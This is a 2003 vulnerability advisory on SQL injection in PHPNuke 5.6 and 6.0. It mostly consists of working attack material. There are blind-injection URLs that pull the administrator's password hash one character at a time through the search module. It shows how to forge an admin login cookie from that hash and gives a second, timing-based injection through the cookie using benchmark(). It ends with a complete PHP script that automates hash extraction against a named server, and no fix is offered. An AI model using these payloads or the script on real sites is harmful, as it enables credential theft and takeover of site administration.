21th Feb 2003 [SBWID-6008]
COMMAND
	PHPNuke SQL Injection
SYSTEMS AFFECTED
	PHPnuke 6.0 & 5.6
PROBLEM
	Vulnerability discovered by David Zentner [[email protected]] :
	
	 http://CGIshield.com
	
	 How to steal the password hash of the Admin use
	 ===============================================
	PHPnuke, a widely used open-source web portal system, has been found  to
	contain a remotely exploitable SQL injection bug, which allows  stealing
	of the administrator's password hash. With the  hash,  an  attacker  may
	login and gain complete  control  of  the  administrative  side  of  the
	system.
	The  bug  exists  in   the   search   engine   included   with   PHPnuke
	(/modules/search/index.php). In this  file,  a  database  call  is  made
	without placing quotes  around  a  user  supplied  variable.  Since  the
	database call selects information from the user table, a hacker can  use
	a 'select  fish'  attack.  In  this  type  of  attack,  the  hacker  can
	determine the value of a single character in any  given  column  in  the
	table specified in the statement. The column of  most  importance  to  a
	hacker would be the one holding the administrators  encrypted  password.
	Since the passwords in PHPnuke (and many  other  programs)  are  an  md5
	hash, there are only 16 possible values for each character and 32  total
	characters to expect. Select fishing involves utilizing the MySQL  mid()
	function to return true if the character is guessed  correctly,  thereby
	returning a set of results to the screen. If the results show up on  the
	screen, the  attacker  can  determine  that  the  character  is  guessed
	correctly,  and  then  proceed  to  guess  the  next  character  in  the
	sequence. Any md5 password hash can be fished in less than  512  (32*16)
	guesses. When done by hand, this can take anywhere from  20-30  minutes,
	but when the process is automated with a program it can take only a  few
	minutes. One such program is included at the end of this document.
	The first url the hacker would try could look like this:
	
	http://site/modules.php?name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)=6&type=stories
	
	When phpnuke queries the mysql  database,  the  query  then  looks  like
	this:
	
	"select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, 
	s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a 
	where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR 
	s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS
	(time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10"
	
	It would check the admin table to see if the first character in the  pwd
	(password) column is equal to a value of  '6'.  If  any  admin  password
	begins with a value of '6', stories written by that  admin  will  appear
	on the screen. If no admin password begins with a value of '6',  or  the
	admin has written no  stories,  then  the  screen  will  list  no  story
	results.
	
	example admin's hash: 6a204bd89f3c8348afd5c77c717a097a
	
	will the admin's stories show with the following urls called?
	(*note* in version 6.0 a check for '()' in any GET  variable  was  added
	on line 36 of mainfile.php , therefore the following data  strings  will
	only work via POST in version 6.0 or later. The exploit included at  the
	end of this file works via POST.)
	
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=1&type=stories		NO
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=2&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=3&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=4&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=5&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=6&type=stories		Yes
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=7&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=8&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=9&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=0&type=stories		No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=char(97)&type=stories	No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=char(98)&type=stories	No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=char(99)&type=stories	No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=char(100)&type=stories	No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=char(101)&type=stories	No
	modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid
	(a.pwd,1,1)=char(102)&type=stories	No
	</fotn>
	To guess the next character in the sequence the attacker could use the 
	following url:
	
	http://site/modules.php?
	name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)=1&type=stories
	
	and so forth, until all values  are  determined.  When  guessing  values
	from a- f, these values normally would need to be surrounded  by  single
	quotes. This presents a problem for PHP  and  other  applications  which
	normally escape quotes. To get around this problem, one  could  use  the
	mysql char() function which will output any ascii value,  without  using
	quotes. So to guess the letter 'a' the hacker could use  char(97).  Here
	is an example url guessing the 3rd character in the pwd column as 'a':
	
	http://site/modules.php?name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,3,1)=char(97)&type=stories
	
	Now that the attacker determines the password hash of  the  admin  user,
	he can base64 encode the hash (which is what phpnuke expects) and  place
	it in a netscape cookie file, and gain access to  the  target  site.  If
	the admin's password is 'admin' and  the  admin's  username  is  'admin'
	then you would take the value 'admin:admin:' and base64 encode  it,  put
	it in the cookie (the variable of the encoded values is itself  'admin')
	the end result would look similar to this (on localhost):
	
	lang
	english
	localhost/html/
	1024
	1809931264
	29595766
	4083407360
	29522340
	*
	admin
	YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
	localhost/html/
	1024
	3858912640
	29529535
	3993654000
	29523500
	*
	
	 How to steal the password hash of the Admin user method #2
	 ==========================================================
	PHPnuke, a widely used open-source web portal system, has been found  to
	contain a remotely exploitable SQL injection bug, which allows  stealing
	of the administrator's password hash. With the  hash,  an  attacker  may
	login and gain complete  control  of  the  administrative  side  of  the
	system.
	The bug exists due to  the  format  of  the  admin  user's  cookies.  In
	PHPnuke   the   admin   credentials   are   stored    in    the    form:
	'username:password:', with the password md5 encrypted,  and  the  entire
	string base64 encoded.
	Everytime a webpage is  requested  on  the  site  running  PHPnuke,  the
	'admin' cookie variable (which contains the username/password value)  is
	sent to the script,  and  everytime  its  validity  is  checked  in  the
	auth.php file. Here is the key code in auth.php which does the check:
	
	// start code
	if(isset($admin) && $admin != "") {
	  $admin = base64_decode($admin);
	  $admin = explode(":", $admin);
	  $aid = "$admin[0]";
	  $pwd = "$admin[1]";
	  $admlanguage = "$admin[2]";
	  if ($aid=="" || $pwd=="") {
	    $admintest=0;
	    echo "<html>\n";
	    echo "<title>INTRUDER ALERT!!!</title>\n";
	    echo "<body bgcolor=\"#FFFFFF\" text=\"#000000\">\n\n<br><br><br>\n\n";
	    echo "<center><img src=\"images/eyes.gif\" border=\"0\"><br><br>\n";
	    echo "<b>Get Out!
	</b></center>\n";
	    echo "</body>\n";
	    echo "</html>\n";
	    exit;
	  }
	  $result=sql_query("select pwd from ".$prefix."_authors where 
	aid='$aid'", $dbi);
	  if(!$result) {
	        echo "Selection from database failed!";
	        exit;
	  } else {
	    list($pass)=sql_fetch_row($result, $dbi);
	    if($pass == $pwd && $pass != "") {
	        $admintest = 1;
	    }
	  }
	}
	// end code
	
	As you notice, the $admin variable is first base64_decoded(), and  split
	into the two variables $aid and $pwd. The security problem lies  in  the
	fact that when a string containing one or more single  quote  is  base64
	encoded, and submitted to the  site,  it  will  bypass  PHP's  automatic
	escaping of GPC variables.  Since  no  additional  checks  are  done  to
	defend against an sql injection, an  attacker  is  free  to  modify  the
	select query and determine the admin password hash.
	A more advanced version of the select fish attack must take place.  This
	is because in order to determine a certain character value,  the  script
	has to respond in different way if the character guess is correct.  This
	is not naturally possible in PHPnuke, but it can be  accomplished  using
	mySQL's benchmark() to give a delayed page response when  the  character
	is guessed correctly.
	Now that you are aware of where the sql injection attack occurs, let  me
	show the process of how this attack would work by modifying  the  select
	query:
	
	(`select pwd from ".$prefix."_authors where aid='$aid'`)
	
	lets   say   the   'admin'    user    has    a    password    hash    of
	'21232f297a57a5a743894a0e4a801fc3'. When we modify the  query  to  check
	if the first digit of the 'admin' password hash is equal to '1', we  get
	the following result:
	
	mysql> select pwd from nuke_authors where aid='admin' 
	and if(mid(pwd,1,1)=1,benchmark(10000000,encode("AAAA","AAAA")),1)/*;
	+----------------------------------+
	| pwd                              |
	+----------------------------------+
	| 21232f297a57a5a743894a0e4a801fc3 |
	+----------------------------------+
	1 row in set (0.00 sec)
	
	The small query execution time signifies an incorrect guess.  Look  what
	happens when the attacker correctly guesses that the first character  of
	the 'admin' password hash is '2':
	
	mysql> select pwd from nuke_authors where aid='admin' and if(mid(pwd,1,1)
	=2,benchmark(20000000, encode("AAAA","AAAA")),1)/*;
	Empty set (11.11 sec)
	
	The attacker can prolong the execution time to his or her liking when  a
	correct guess occurs by raising the first argument  to  the  benchmark()
	function. By the different  server  response  time  ,  an  attacker  can
	determine a the admin's password hash one character at a time.
	
	<?php
	########## PHPnuke Auto-SelectFish Attacker
	########## [email protected]
	########## works on phpnuke 5.6 and 6.0
	// To use this program, simply upload it to a php enabled webserver, and 
	execute
	// If php times out before the whole password hash is determined, 
	// adjust the maximum script execution time in php.ini
	// Also, replace following with correct values:
	$server="www.phpnuke.org";
	$script="/modules.php";
	// Title of a story created specifically by the admin who is being hacked.
	$data_to_match="Revolution";
	$admin_account_name="nukelite";
	$beginchar="1";
	$endchar="33";
	$admin_account_name=urlencode($admin_account_name);
	$data_to_match=urlencode($data_to_match);
	$checkchar[0]="char(48)";
	$checkchar[1]="char(49)";
	$checkchar[2]="char(50)";
	$checkchar[3]="char(51)";
	$checkchar[4]="char(52)";
	$checkchar[5]="char(53)";
	$checkchar[6]="char(54)";
	$checkchar[7]="char(55)";
	$checkchar[8]="char(56)";
	$checkchar[9]="char(57)";
	$checkchar[a]="char(97)";
	$checkchar[b]="char(98)";
	$checkchar[c]="char(99)";
	$checkchar[d]="char(100)";
	$checkchar[e]="char(101)";
	$checkchar[f]="char(102)";
	for($i=$beginchar;$i<$endchar;$i++){
	reset($checkchar);
	while (list($i2, $i2val) = @each($checkchar)){
	$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
	unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
		$data=sendToHost("$server",'post',"$script","$vars");
		if (eregi("No matches found to your query","$data")){
		}
	else{
	echo("<br>$i= $i2"); flush();break;}
		}
	}
	function sendToHost($host,$method,$path,$data,$useragent=1)
	{
		$method = strtoupper($method);
		$fp = fsockopen($host,80);
		fputs($fp, "$method $path HTTP/1.1\n");
		fputs($fp, "Host: $host\n");
		fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
		fputs($fp, "Content-length: " . strlen($data) . "\n");
		if ($useragent)
			fputs($fp, "User-Agent: Mozilla\n");
		fputs($fp, "Connection: close\n\n");
		if ($method == 'POST')
			fputs($fp, $data);
		while (!feof($fp))
			$buf .= fgets($fp,128);
		fclose($fp);
	for($slow=0;$slow<100;$slow++){}
		return $buf;
	}
	?>
	
SOLUTION
	?